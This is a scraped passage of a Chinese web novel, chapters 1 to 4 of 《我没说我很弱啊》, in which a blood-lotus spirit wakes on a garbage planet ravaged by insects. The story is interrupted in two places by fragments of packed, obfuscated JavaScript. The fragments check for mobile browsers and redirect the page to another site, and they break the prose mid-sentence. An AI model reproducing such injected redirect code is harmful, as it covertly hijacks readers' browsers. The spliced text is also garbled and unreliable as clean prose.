《我没说我很弱啊》 1. 第 1 章 太阳升至头顶,炙热的天气使垃圾山周围的空气都变得扭曲,臭气熏天。 187星的人们依旧攀爬在垃圾山的各个地方寻找可以回收利用的资源,有的人耐不住高温,一脚踩空从山上掉了下去,被废弃的铁块洞穿身体,惨叫声响彻回荡在整个山脉。 同伴们麻木地瞥了一眼,便继续手里的活计。 这未尝不是一种好的死法。 毕竟,被虫族一口一口地咬死会更痛苦。 少一个人竞争意味着多一份资源,不少人默不作声地爬往那个人死前的位置,抢夺他今天积攒的资源。 天空忽然闪烁出一道光芒,以极快的速度往地面上坠去,人们下意识望过去,却又不见踪迹。 垃圾山脚下,一个身着红绡金纹裙,头戴钗环的女人蓦然出现。 她右脸贴地,侧着身昏厥在地上。皮肤很白,像个瓷娃娃,漂亮得如神女一般,与这垃圾成山的世界格格不入。 她头上的金钗闪烁,须臾便有人发现她的存在。 空气中闪烁了一瞬,人们只觉得眼睛恍惚了一下。 女人头上少了一只的细小的步摇与两只细钗,无人发现。 “金子!” 不少人看见光芒便开始狂奔,第一批到的人还没站稳便开始拔她头上的钗环,她头上的所有饰品顷刻被扒了个干净。 那人一脸不可置信,天上居然有这种掉馅饼的好事。 他试探着用牙咬了咬金钗,整个人僵住了一瞬,随后表情癫狂手舞足蹈,笑中带泪,小声呢喃。 “金子!居然真的是金子!哈哈哈哈!我女儿可以去克林迪斯军校报名了!” 他把金子塞进衣服最里层的口袋后,立马往家的方向狂奔。 他害怕后面的人反应过来开始抢夺。 在这个时代,所有珍贵无比的资源被顶端的少数人掌握着,一克黄金在这座星球上买一栋不错的房子。 而他手中沉甸甸的金钗,可以让他彻底脱离这个常年被虫族入侵的星球。 甚至能举家搬迁到联盟最好的部队的首都星去生活,还余一笔不菲的启动资金。 刹时间,所有人的眼神变得贪婪,如狼似虎地在她身上流连,似是要在把女人身上的每一寸剥开。 如果可以选择,谁不想在安全的星球生活呢? 不知是谁喊了第一声。 “她衣服上也有金子!” “还有红宝石!” “她的鞋上有几排珍珠!” “有钱人可真奢侈!快抢啊!” “……” 所有人不约而同地直接上手,更有甚者手伸向衣襟,想要把她的衣服扒掉。几个青年男人眼神饱含恶意,与同伴对视,某些下流想法不约而同。 角落里一个瘦小的身影蹙了蹙眉,想要上前阻止,又被这周围几百号人的疯狂生生摁住了脚步。 女人依旧一动不动地躺在地上,没了发簪,如瀑的长发随意散落,柔弱又凄美。 她对周身的一切一无所知,可她将为此付出代价。 在众人的手即将触碰到女人时,女人锁骨中央的龙纹如同活了一般,发出一声吼叫。 “轰——” 与声音同时而至的是一道金光,再然后,众人被击飞至百米。 可哪怕被弹开,这些人依旧死死拽住绣着金纹的外裙。 他们视死如归,用最后的力气死死咬住衣裙不放,毫不在意金光已经击穿他们的心脏,大口呼吸着,想要将自己从铁柱上生生拔下来。 最先咽气的是刚刚有下流想法的几位。 在场的每一位都明白。 这场死亡赛跑才刚刚拉开序幕。 谁有命抢却没命活,谁就会成为这场角逐中最先献祭的垫脚石。 被洞穿身体的几个人逐渐没了生息。 为了能吃饱穿暖,活在一个最安全的地方。 他们的表情都不再麻木,眼神里泛着奇异的光亮。 余下的众人一哄而上,如同闻到血腥味的鬣狗一般,疯狂奔向那几人。 只有几人成功逃了出去,死伤了不少,他们倒在血泊里,脸上凝固的表情愤怒与不甘交织,无人在意。 女人身上再无长物。 衣着褴褛地躺在地上,看起来十分狼狈。 活着的一瘸一拐地走了出去,没人关心她的死活,只是捶胸顿足地懊恼自己没有抢到这馅饼。 太阳逐渐滑落,阵雨伴着夜幕降临,所有人都赶在太阳落山前回了家。 187星的晚上极冷,在外稍加逗留便有可能冻死。 一个瘦弱的孩子蓦然出现,身形快的几乎只能看见残影。 辨不出男女,她抿着嘴,脸上带着一股漠然的死气。她用又大又硬的塑料袋把女人全身盖住,后以闪电般的速度离开。 雨水也没法浇灭眼前堆积成山的垃圾发酵的味道,从山脉蔓延开一片片的黑水,哪怕被盖住了,黑水依旧从地面袭来,浸湿了女人的半个身子。 她蹙着眉,嘴里呢喃着什么。 “小龙……不要……” 躺在地上的女人是刚刚化形的万年血莲,一出生便被修真界虎视眈眈。 血莲万年成熟,成熟即化形。 一瓣可生死人肉白骨,花心可养魂魄。 这意味着,只要有这血莲,只要有一缕魂魄,便可把人救活。 于血莲来说,今天本该是值得庆祝的日子。 她与她的伴生兽——天地间唯一一条龙,共同踏入一万岁生日。 血莲成熟以前比所有植物都要脆弱,与普通植物无异,只能依靠伴生兽守护。 而今天,是她完全拥有血莲力量的日子。 可她的成熟也引来的修真界的轰动,群狼环伺,敌人从四面八方涌来,哪怕胤允有寰宇之威,终究分身乏术,双拳难敌四手。 最后一刻,胤允以龙珠开阵护她,燃起精血与敌人同归于尽,千钧一发之际,突然天上光芒大盛。 接着,她就昏迷了。 一阵风轻轻刮过,伴着雨水,轻轻抚在她的脸庞。 她骤然睁眼,清澈的红色眼睛里全是焦急与慌乱,拍开盖在头上的塑料袋,撑起上半身慌忙向四处察看,想寻找某个身影。 可眼前的景象与酸腐的气息同时涌入五感,而产生一种不真实的眩晕。 她干呕了半晌,啥也没吐出来。 胃里依旧不断翻涌,她强撑着继续环顾四周。 这是哪? 此地空无一人。扭曲的钢筋铁皮,生锈的金属零件与废弃的塑料瓶、纸箱等等物什交织,堆叠成一片望不到顶的大山,上面隐约还有人生活的痕迹。 接着,映入眼帘的就是尸体与尚未干涸的血迹。 壮阔又衰败。 颂千纱总结道。 她凝视了很久才回神,慢慢站了起来,试探着出声。 踩在黑水上分外泥泞,她不自觉蹙起了眉。 “胤允?” 声音被雨水的噼啪声淹没,周围除了几具尸体外空无一人,颂千纱对此视若无睹。 她几乎本能地摸向脖颈下的伴生纹。 他在哪? 她蹙眉陷入思考,半晌后手臂抬起,红色的眼眸闪烁出亮光,伸出手,在虚空中结印。 这是他们联系对方的专属术法。 指尖连一点光亮都未亮起,颂千纱忍不住蹙眉,一脸迷茫。 怎么会? 她不可置信地望着自己的双手,用力抓握张开。 难道是她第一次用手,印结错了? 她拧着眉毛不置可否,这次认真仔细地一个手势一个手势结,并且不信邪似的,尝试了好几遍。 终于,她在第四遍的时候停下了。 她确定是因为这个世界没灵气导致没法施展术法。 脑中一片空白,觉得这一切都不太真实。 可没有灵气,怎么可能? 她不会是在做梦吧? 颂千纱呆愣了着,用力地拧了拧自己的大腿,痛得眼泪在眼眶中打转。 怎么回事? 她盯着自己葱白的双手发了一会儿呆,第一次试着使用她成熟后的血莲天赋。 本就鸽血一般红色的眼睛忽然亮了起来,双手红金色光芒亮起,哪怕衣衫褴褛,仍然挡不住她举手投足间的优雅。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993589|193849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 颂千纱如神女一般缓缓升起,整个人都散发着红色光晕。 半晌,颂千纱缓缓落地。 她轻轻吐了一口气,抬眼看向天际。 化形后果然能动用所有的天赋能力。 但血莲天赋最强的是治愈与防御,这些都没法让她找到胤允。 她肌肉记忆般摸向伴生纹,用力感受着,想要用力抓住他们最后的羁绊。 颂千纱眼中全是担忧。 胤允伤得很重。 她没法直接找到胤允,她只能靠着气味嗅闻对方的踪迹。 顾不得眼下的臭味,她闭眼深嗅试图寻找胤允的味道,眼中的迷茫更甚。 这个地方,没有他的气息。 她努力消化这一切。 发酵的臭味涌入肺管,胃里再次翻江倒海,她强行压了下去。 怎么会呢? 可能是灵气受制,所以嗅闻不到。 但没关系,她可以走着嗅闻,只要跑遍这个地方就好。 她微微敛眸,颤动的睫毛在眼尾形成一把小扇子,暴露了她的不安。 原本可以用术法保护自己,可没有灵气的她除了治愈能力,无限接近于普通人。 可她深知在没有能力的情况下贸然使用,下场必是剥骨抽髓,死路一条。 而从小护着她的那只龙,身受重伤,不知所踪。 恐惧的藤曼顺着脚下粘腻的黑水攀爬上她的心间,她从头顶冷到脚底。 她从未自己一个人面对过这个局面。 颂千纱脑中疯狂地思考应对策略,努力撇开情绪。 怎么找到胤允? 怎么活下去? 淅淅沥沥的雨渐渐小了,穿堂风轻柔地吹向她,她突然觉得滴在她身上的雨透心凉,风吹在她身上几乎要把她吹倒。 她红着眼尾,努力平复自己打颤的呼吸,用力擦了擦眼泪。 强忍着情绪迈开脚步。 现在首要任务是在这个地方找一找胤允的踪迹。 她赤脚踩在脏污的黑水上,抬脚还能感觉到胶水似的粘连,她几乎要把五官皱成一团,脚趾紧紧绷住抬起,努力只用脚后跟与地面接触。 太脏了,她从未到过这样的地方,也从未见过这样寸草不生的土地。 她忍不住再次眺望周围。 在这样陌生的环境里,努力屏蔽的情绪被强制唤起。 可这一切都太陌生,太困难了,几乎要将她压倒。 颂千纱没有停住脚步,她还在继续走。 但声音带着哽咽,眼泪止不住地往下流淌。 “胤允……” 另一边。 首都忒修斯星,军区医院内。 一名实习医生对着光脑激动大喊。 “星蓝医生!颂少将能量波动!像是醒过来了!” 话音刚落,治疗仓门从内打开,一个男人从中出来。 他眉目间的凌厉让人不敢直视,充满野性的健壮身体衬得他气质更甚。 男人蹙着眉,开口。 “我昏迷了多久?” “四天,少将。” 实习医生脸上有掩饰不住的尊敬与激动。 毕竟面前这位十四岁便已是3s级的机甲单兵,是在前往禁区杀了三进三出的传奇人物,极少在公开场合露面。 只用一张证件照便在网络上斩获大量迷妹粉丝,可从尸山血海中出来肃杀与未收敛的锋芒,让人望而却步。 男人抬手打开光脑点击小队群聊,输入了一行字。 [帮我找个东西。] 他顿了顿,他自己都不太确定自己要找什么。 可脑中模糊的又焦急的念头让他坐立难安,他辗转了一会儿又关上了光脑。 男人甩了甩疼痛欲裂的脑子,迅速穿上衣服往门外走去,一步比一步急。 “我出去一趟。” 实习医生没反应过来男人便已到门口,他赶忙追出去。 “等等!等等上将!你的伤!” 刚到门口就看见男人再次昏厥在车上,实习医生赶忙喊人把他再次抬进治疗仓。 “精神力受损百分之八十啊……” 2. 第 2 章 夜幕悄然褪去,太阳逐渐升起。垃圾山连绵不绝,像是没有尽头。 颂千纱不断用天赋治愈自己被冻伤的身体,可疲惫与痛觉依旧存在。 她的步伐从沉重逐渐变得飘忽,体力快要告罄,耳朵被冻得发麻,睫毛结霜,嘴唇干裂,脸上的泪痕斑斑,如同被刀刮一样疼痛。 她还是一步步走着,没有停。 不久后,她被石头绊倒,在被污染泥地里狠狠地摔了个狗啃泥。 脚踝处的剧痛传来,好不容易收住的眼泪再次决堤,她倒在充满酸腐味泥地里再次嚎啕大哭。 “胤允……” 男人的名字如同精神支柱一般,想念着他以前创造的避风港。 可越是咀嚼着以前的一切,她的心脏便越是紧缩着,发出阵阵疼痛。 明知胤允伤得很重,她却起不了任何作用。 她分明获得了自己以前望眼欲穿的天赋。 她从前有多期待成年,如今就有多痛恨自己无能。 连一颗石头都能轻易将自己绊倒。 雨分明停了,可雨又分明一直下。 她躺在地上,任由眼泪流淌,恐惧,绝望,委屈,无能各种情绪不停冲刷她的身体。 忽然一阵风声异响。 眼泪还如水龙头一样流着,她整个人像是惊醒一般,本能让她猛地躲藏起来。 目光死死地盯着刚刚传来声响的地方。 她等了半晌,周围再没出现过动静。 难道听错了? 她从角落走了出来,向身后张望,除了道路上的易拉罐,周围再无其他声音。 汹涌的情绪被那阵风打断,她却奇迹般收拾好了情绪,她一瘸一拐地继续迈开步子。 她已经走了半颗星球,没有丝毫胤允的气息。 颂千纱再次抚上伴生纹。 可伴生纹中金光虽不如以前明亮,但依旧有光芒流转。 他至少还活着。 眼下先把剩下的地方寻找干净,如果确定他不再此地,那一定在别的时空。 不管相隔多远,他们一定会找到彼此。 颂千纱脸上带着疲惫,眼神却愈发坚定。 她的手中亮起微微红光,崴脚的左腿瞬间完好。 可她不会死,只是有点痛。 她第一次跑了起来。 阳光逐渐洒向大地,187星的人们不约而同地从垃圾山洞内走了出来。 一个瘦弱的中年男人牵着孩子走出山洞,便瞥见了颂千纱。 她正往星球北方跑去。 如瀑一般的长发与红色衣裳很有标志性,可那双如红宝石一般的眼睛…… 他顿了顿,神情突然慌张了起来,踉跄地抱起女儿,跑回山洞。 异色瞳!居然是异色瞳! 他下意识摸了摸藏在最里层的发簪,冒了一身冷汗。 晌午,太阳火辣了起来,昼夜的温差极大,晚上的冻伤需要不断治愈,眼下又要开始不断治愈皮肤不被烫熟。 一上午了。 颂千纱跑完整个星球,她确定胤允不在这个地方。 那还会有什么地方?明明契约还在。 她唇色接近透明,身体显然已经超过极限,她几乎无法停止自己大口的呼吸,视线逐渐变窄,意识开始飘忽。 脑中不断有人发出声音,从一开始的劝阻变成咆哮。 让她放弃寻找,眼下最重要的是活下去。 她咬着牙,睫毛不断颤抖,眼睛不断地往外流出眼泪。 喘着粗气看向人群,踉跄着上前想要询问。 可所有人见到她的眼神,几乎统一是先惊讶、戒备,后慌张,最后惊惧,然后跑开。 人群的着装与修仙界差别极大,这里不再有人身着长袍法衣,清一色的束口袖裤,没人蓄发,再长也不会及腰。 他们见到她后,有的亮出钢铁制成的铠甲,拿着斧头,有的亮出机械坐的手臂。 她头晕脑胀,模糊的视线与逐渐不停使唤四肢让她无心注意太多细节。 他们在害怕什么? 颂千纱咬牙顶住身体发出的警报,随手抹了一把眼泪,冲过去随手抓住一人的手臂。 “可曾见过一墨发玄衣的男子?” 她目眦欲裂,看向那人的眼神分外可怖。 被抓住的女人吓得一抖,后僵了僵,身体像是再次反应过来了似的,再次不停地发抖。 “我……我没见过。” 颂千纱愣了愣,表情一瞬间低落了起来,眼泪更加汹涌。 直到女人疼的抽气,再也忍不住想要甩开她的手,颂千纱才如梦初醒般松开。 “多谢。” 她漫无目的地继续走着,神情木然,巨大的情绪打击与极限的疼痛在不断撕扯她的身体。 颂千纱甚至分不清胃的绞痛是情绪反应还是别的什么。 她忍不住的干呕,却又什么都吐不出来。 她又摔了一跤,身体已经超负荷运转,承受不住过于猛烈的情绪,晕了过去。 这次她没有站起来。 她又一次倒在了街上,这次众人没有一拥而上。 他们视若无睹,如同昨天有人坠崖那般,有人松了口气,有人麻木地瞥了一眼,继续拾荒。 半晌后,一道瘦小的身影出现。 女孩脸上依旧带着死气,她面无表情地把仅剩三分之一的营养液倒进颂千纱嘴里。 在这个物资匮乏的地方,营养液算的上顶级物资,喝上一点可以顶饱很久。 此时有不少人瞥了过去,眼神放光,表情垂涎,他们暗斥女孩的浪费,倒下的人就算吃了营养液也是要死的。 没敢上前抢夺。 女孩的狠厉,在她来187星的第一天就有人领教过了。 喂完后,女孩把颂千纱扛在肩上,因为个子矮,颂千纱遮住她整个身子。 颂千纱的长发扫地扫了一路。 再次醒来,颂千纱看见的是金属的屋顶,她如同下意识看向身边,寻找胤允的身影,想起来后又再次陷入失落。 她沉默半晌,抬腿想要下床,眼里中满是后知后觉的诧异。 身上的疲惫几乎都消失了,胃里饱腹感很强。 有人救了她。 她环顾四周,屋子并不大,陈旧又整洁,有且只有她睡的一张小床,一张桌子,剩下的全是堆叠的铁块,材质有好有坏,从前到后堆叠着。 桌上放着几本书,颂千纱走过去瞥了一眼,没有过多停留。 怎么字都少了这么多比划? 她向右转头便是门,门上只有一个从内插销的锁,十分简易。 颂千纱试探着拨动插销,很快便推开了,她向外走了一段,往外张望。 这里是个山洞。 山洞虽曲径通幽,很隐蔽,却并没有把门堵死,她随时可以出去。 颂千纱索性在门口坐了下来。 她摩挲着伴生纹,看向山洞出口发呆,眼神呆滞。 天色还未全黑,但也不早了,雾蒙蒙地向洞口撒下一层并不明亮的光。 身体不断传达需要休息的信号,脑子却不听使唤,不断思考着寻找胤允的下落。 她搜寻了这片天地的每个角落,一丝气息都没有。 还能往哪找? 洞口的光似乎晃了晃,颂千纱看的并不真切,脑子在不断发散。 直到女孩走到她面前,颂千纱才迟钝地惊觉有人来了。 女孩扛着比她本人还要高的铁块缓步往里走,一头短发黑衣,看起来干练极了。 是眼前人救了她。 她站起身子,洞口有些矮,佝偻着身子看向女孩,她眼神带着些拘谨。 “多谢少侠。” “?” 女孩没有停下脚步,越过她侧身走了过去。 听见她说话,侧目看了她一眼,眼神中带着些古怪。 颂千纱被她的眼神看的顿了顿,一脸无辜。 她怎么一种看见怪物的眼神看着自己? 颂千纱抬脚跟了上去。 女孩身形十分瘦小,这几乎和女孩一样高的铁块吓了颂千纱一跳。 她赶忙上前,想要帮忙拿一些女孩身上铁块,分担一些重量。 “吾帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你只能被人护着!你真没用!” “一万年?!你伴生兽累死都等不到你的反哺哈哈哈哈哈哈哈!” 这些话从心里生根,不断生出藤曼来,砍不完,剪不断。 眼眶再次泛红,一滴眼泪在眼眶中要掉不掉。 她想起胤允幼时被打断龙角的以命相搏的疯狂,与化形时胤允孤注一掷的勇气。 女孩皱着眉看着书正进行粘合的部分。 她犹豫了好久,完全找不到思绪,手里的铁块放在了几个地方比划,最后打算找个顺眼地方粘合。 颂千纱忽然在女孩即将上手粘合时开口。 “这步错了。” 女孩动作顿了顿,看向颂千纱。 颂千纱俨然一副泫然欲泣,想着伤心事的低落模样,被女孩发现后变扭地转了过去。 自以为不留痕迹地擦了擦眼泪。 女孩淡淡的收回目光,停止了粘合的动作,重新拿起书本查看,没再轻易粘合。 颂千纱用力甩了甩头,把脑子里的所有声音都甩了出去,站起来让理性回归大脑。 不能在这样被情绪不断裹挟。 她微微敛眸,冷静分析现在的状况。 胤允哪怕状况很差,依旧要比别人强大。 急也没有用。 眼下她要尽快弄清楚人类世界是怎么运行的,才有可能更快的找到人。 有了方向后她整个人轻松不少。 她轻轻吐了口气,眼神落在桌上几本陈旧的书本上。 颂千纱看向女孩轻轻出声。 “我可以看看吗?” 女孩没给任何反应,依旧研究着自己手里的铁块。 颂千纱等了半晌,见她不理,索性直接拿起来翻看。 3. 第 3 章 这些字分开看都认不出来,可如果连起来读,却能理解个七七八八。 她手里的书封面赫然几个大字——机甲师入门教材。 一共五本厚重的书,加起来有颂千纱的手臂高,几乎都是机甲师的入门到精通。 这么喜欢机甲? 她偷偷瞄了一眼女孩,女孩依旧对着扭成麻花的铁块苦大仇深。 颂千纱眉头越蹙越深。 这里的人们不修仙,不修阵法符篆,不享受长生之道了吗? 精神力?星级?机甲师?机甲单兵?这都是什么? 这个世界的一切与她了解的一切大相径庭,一个又一个没听过的名词蹦了出来。 她的面色带着深深的困惑,这看起来怎么也不像她的时代。 这里的书怎么是白话? 颂千纱读得很吃力,一个字一个字咀嚼,学着适应书里的说话方式。 直到女孩再次出门,手里的铁块捏了一夜,依旧没什么进展。 她再次把铁块放回床底,走了出去。 颂千纱能在字里行间寻找到一些这个世界的运行规则。 虫族有强大的破坏与繁殖能力,这些年更甚,甚至可以寄生在人体。 机甲师可以制作与维修机甲,机甲单兵可以操控战斗型机甲杀敌。 她手放在锁骨中间,抚摸着伴生纹,像是安抚自己一般, 颂千纱不分昼夜地读。 她只知道时循出去了两次。 第三天凌晨,月亮与太阳交相辉映,月亮还未完全退场。 颂千纱撑着胳膊坐在地上翻着一本书的末页,身旁摞了一堆书,默念着手中这本书的最后一页。 星际与虫族的战争还未停止,克林迪斯军方学校期待您的到来! 3015年出版。 她微微垂眸陷入沉思,手在桌上不断划着圆圈。 克林迪斯军方学校?可她在方天地里,并没有看到什么学校。这里分明只有一处完好的建筑。 难道是很久以前流传下来的书? 颂千纱正想得出神,还剩三分之一的白色试管闯入她的视线。 女孩把面无表情,把营养液递给她。 颂千纱有点懵,表情疑惑,接过营养液的手慢吞吞的。 表情看起来显然不知道这是什么。 女孩眉头微蹙。 颂千纱观察了半晌,发现女孩的唇朱上有一丝光泽,才终于反应过来这是吃的。 这些天她也基本摸透了女孩的性子,女孩实际十分随和。 除了不说话,在她说话的时候还用奇怪的眼神看着她以外,在房间里想干什么基本都可以,哪怕是动她的铁块,她也视若无睹,任由颂千纱挥霍。 女孩见她接过便转身出了门。 看着手中的试管,嗅闻了一会儿,好像没什么怪味。 她倒入喉咙一饮而尽,这口感与水别无二致,却让她的胃立马再次饱腹了起来。 她立马得出结论,上次昏迷时,女孩八成也给了这个。 颂千纱感到新奇,不只是这个液体,还有这个透明的瓶子。 之前她见过别人吃丹药果腹,直到筑基辟谷。胤允从修士乾坤袋中偷给她尝过,味道分外苦涩,颂千纱不爱吃。 这东西的作用看起来与那丹药异曲同工。 还比那个好吃。 她舔了舔嘴角,对着灯光查看余量,再次对着嘴巴倒了倒,尽量不浪费任何一滴。 直到瓶子里的液体一滴不剩,她开始仔细观察这透明的玻璃试管。 她从未见过如此澄澈的容器,小巧又简易。 真好看。 颂千纱眼神不自觉地挂起一抹温柔,把容器放进衣兜。 要带给胤允看。 她想要回礼,却身无长物。 沉凝了半晌,她打开女孩床底的扭成麻花的铁块放在地上,捡起书。 看女孩捣鼓了三天却没什么进展,能看出来女孩是想要做一架机甲。 颂千纱就着女孩现有的骨架开始制作,学着女孩用神识覆盖双手,再捏铁块果然容易许多。 生疏地把原本歪扭的铁块一个个掰直,不一会儿,她熟练许多。 她歪着头思考了半晌,又停下了。 她把书本放到一边,开始自己研究起来。 天才地宝天生对材料很敏锐,颂千纱蹙着眉,把女孩原本用来支撑的材料换了下来,换了一块在角落落灰,不起眼的银色铁块上去。 四小时后,一架简易的机械臂做了出来。 机甲需要的材料众多,这里的材料不足够做出一架完整的机甲,但做一台精度超高的机械臂却刚刚好。 颂千纱喘着粗气,对她来说这种体力活还是太吃力了。 她看向银色机械臂,眼神中带着淡淡的自信。 虽无法评估机械臂可以到几星级,但她能感觉出这台机械臂不弱。 女孩正好从外面回来,她依旧扛着一摞比她还要高的铁块。 颂千纱擦了擦汗,转过身,红色眼睛如红宝石般璀璨,一改前几天的落寞美人风。 看得女孩愣了愣。 “抱歉,动了你的东西。” “吾擅自做主给你做了这个谢礼。” 女孩的视线随着颂千纱的手下移,看见机械臂后罕见的脸上出现了震惊。 她瞪大了双眼,立马走近。 成堆的铁块往旁边随手一丢,铁块丁零当啷掉了一地,她恍若未闻,如同被机械臂钩住了魂魄一般。 女孩看了一眼颂千纱,视线马上就又被机械臂黏住了。 她三步并作两步把机械臂装在手上,惊喜几乎掩饰不住。 连脸上的死气都淡了不少。 颂千纱第一次看到女孩的正脸,她微微蹙了蹙眉。 行动分明看起来很健康,为何散发着一股将死的气息? 女孩轻抚银灰色的骨骼,在空中挥出两拳,机械骨骼跟着右手破风而出,动作稍慢于右手。 这分明看起来就是她之前捡到的几种材料,可灵敏度与硬度看起来比她之前捡到的所有材料都要好。 女孩看起来十分意外机械臂的强度,不可置信地又挥了几拳。 女孩目光沉沉地望向她,声音沙哑。 “你是机甲师?” 颂千纱愣了愣,腼腆朝她笑了笑。 “我不是,我是照着你书里做的。” “……” 女孩被颂千纱说出的话噎住,她看了看角落那本残缺的书。 半晌,沙哑的女声再次响起。 “谢谢。” “吾该谢谢你才对,你应该已经救了吾两次了。” 颂千纱挠了挠头,有些不好意思。 女孩正视颂千纱,脸上虽面无表情,颂千纱莫名能感到郑重。 “时循。” 顿了顿,她又道。 “机械臂比营养液贵很多。” 时循放下机械臂,珍惜地找了块布把它包了起来。 做完一切后,她把床板打下,再补了一句。 “能力范围内,需要帮助可以找我。” 话毕,她已经躺 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她睡的并不好,头晕脑胀,眼睛发干,隐约感觉到胤允的情况很糟糕,却无法治疗。 可心中的不安似乎不是来源于胤允,而是一种本能。 心脏还在不断跳动,像是预警着什么,但脑中思绪冗杂,一时没法理清。 她站起来在屋内不停走动,可心中的焦躁愈发明显,在她耐不住出门时,脚像是突然踢到了什么的。 时循已经出门。 机械臂用布包好,放在地上。 时循有意放在这里,作用不言而明,是为了让颂千纱用来防身。 颂千纱看着机械臂不自觉地笑了笑,心里泛起一股暖意。 忽然,地动山摇,伴随着一声巨响,地下传来轰鸣声。 山洞里的东西零零散散落了一地,连床都开始发出簌簌响声,被铁皮糊住的屋子被砸了个凹槽,差点就要砸在她的脑袋上。 颂千纱下意识躲避,摔了一跤,跌坐在地上,她赶忙从山洞里抱出拿出机械臂,以最快的速度跑出山洞查看情况。 刚迈出门口,一道洪亮的女声从头顶蓦然响起。 “快闪开!” 她下意识后退一步,一只巨大长条的虫族的尸体轰得一声倒在她脚边。 虫子的模样看的颂千纱心里发毛,止不住的恶心。 植物天生就讨厌虫子。 虫子中间被洞穿,汩汩往外流着血,触角还在抖动,像是要向虫族传播什么。 颂千纱不明就里,一脚踩断了虫族的触角。 她闪身走出山洞,查看外面的局势。 一架机甲倒在地上,它的左手的右腿被咬断,胸口被划出一道很长很深的口子。 远处还有不少小很多的虫族,都不敢靠近这里。 随着颂千纱的脚步,往后退了许多。 但在场没人注意这个。 半晌,白色机甲舱门打开,出来一个女人。 她左臂右腿鲜血淋漓的伤口与机甲的断伤如出一辙,胸口不断地往外渗血,便狼狈地靠在机甲上喘气。 女人伸手一挥,巨大的机甲瞬间消失,她晃了晃身子,踉跄着走了两步,站不稳,后一屁股坐下,用完好的手臂指了指自己胸前的徽章,看起来有些痞气。 “别紧张,克林迪斯军校生。” 话毕,女人不知从哪掏出一瓶治疗液一饮而尽。 4. 第 4 章 她很显眼。 颂千纱敛下眸子,沉凝了一会儿。 克林迪斯?是书本上的克林迪斯吗? 来不及往下深想,她突然想起了早上出门的时循。 “糟了!” 她来不及与面前的女人打招呼,往远处狂奔。 沉重的机械臂严重抑制了她的速度,颂千纱往女人旁边一塞就跑走了。 速度之快让坐在地上的女人愣了愣。 “时循!” 颂千纱往四处看去,连绵不绝的垃圾山不知从哪涌出大量的虫族,整个山脉横尸遍野,虫族用口器不断啃食着尸体。 这些虫族体型不大,但数量很多。 她逐渐发现规律。 人多的地方虫族多,人少的地方虫族少。 这些虫子似乎十分怕她,只要走近都会不约而同地后退。 颂千纱微微蹙眉。 除了开始遇到的那个机甲单兵,她几乎没遇到人守卫这方土地。 而普通人几乎毫无还手之力,三两口就被啃食殆尽。 这和修仙界的法则几乎天差地别。 她仙魔大战万年,每每魔族进犯,仙族向来一马当先。 就连刚刚筑基的弟子面对涌入人间的魔族,明知自己毫无胜算,他依旧一夫当关,挡在凡人身前,战至最后一刻。 这是修仙界刻入骨髓的信仰。 这里似乎没有这种秩序。 颂千纱一边跑一边喊,不一会儿就看到了远处的时循。 她很显眼。 站在最前方,周围虫族的尸体几乎堆成了山。 手上一把斧子,生生在虫潮的围攻下撕出一片安全区。 她身后集中了许多民众。 时循看起来分明和在她身后那个母亲搂着的孩子差不多高。 颂千纱的眼眶莫名一酸。 她全力朝着那瘦小的身影跑去,可这依旧需要时间。 虫子咬住她的左手,她疼的咬了咬牙,临危不惧,用斧头砍掉那只虫的口器,忍痛甩开依旧啃食她左手的口器。 颂千纱清晰地看到时循左手的骨头。 她刚刚甩开一只,立马又被另一只虫子缠住,时循的血似乎让虫族更加兴奋了,所有的虫族一拥而上,她整个人几乎淹没在虫潮中。 时循的左手已经被虫族吃完。 她的脸色惨白,极致的疼痛让青筋爆起,她的身体抑制不住地发抖。 血液争先恐后地逃出体内,洒在地上,身上,虫族脸上。 她脚步依旧不停,右手挥动着斧子向虫族砍去,下一秒,像是下定决心一般,用尽全力大喝了一声。 “呃啊——” 时循直接放弃防御,破釜沉舟,右手全力投掷,把斧头扔向那只带领着虫族的虫子,却不料右臂再次被咬住,堪堪砍掉虫子的一只爪子。 带领的虫子吃痛,发出一声咆哮,朝她爆冲而去。 没了武器的时循几乎瞬间被虫子咬掉心脏。 她身后全是人,有人表情依旧麻木,有人惋惜,有人流了两滴眼泪。 就是没有人上前帮助时循。 她倒在血泊里,心脏被挖空。 怦怦。 颂千纱清晰地听见自己的心跳声。 带领的虫子很大,但也小了最开始那只接近一倍。 小虫子们因颂千纱的到来逐渐散去,唯有带领的那只依依不舍地想要再度啃食。 终于,颂千纱再越跑越近后,它如梦初醒一般,虫脸上出现极其人性化的惊惧,随后向天空嘶吼了一声。 下一秒,虫子如潮水般往一个方向褪去。 她终于追上了时循。 颂千纱的眼泪像是开了闸,她扑倒在女孩身边,哭喊着女孩的名字。 “时循……” 为什么她跑的这么慢。 才认识几天,可女孩对她分外好。 女孩没在意她的来历不明,保持着让她自在的距离,在这陌生的世界里,女孩的善意毫无保留,也不要求回报。 颂千纱双手颤抖,抚摸上时循的脸蛋,豆大的泪珠喷涌而出,滴在时循脸上。 时循半阖着眼,感觉到脸上湿润,顺着脸颊滑落到嘴里,甚至液体甚至有些咸湿。 她努力集中视线,终于认出颂千纱。 她脸色惨白,忍不住扯了下嘴角,笑的很难看。 身后的众人听到名字,表情各异,他们像是不约而同地想起了什么,他们面面相觑,人群再次嘈杂了起来。 “她是时循?是时家之前那个3S+的天才吧?” “对!就是她!肯定是因为被虫族寄生才被放逐到这里!” “你忘了前些年那个新上任时家主的手段?” “时家的人吃了这么多军饷!为了保护我们也算死得其所了!” “说不定虫子就是她引来的!” 时家是首都星的顶尖家族,几乎全家都跻身军中,官职还不低。 前些年政变,时循的姐姐弑父杀母,以铁血手腕拥护如今的总统上台。 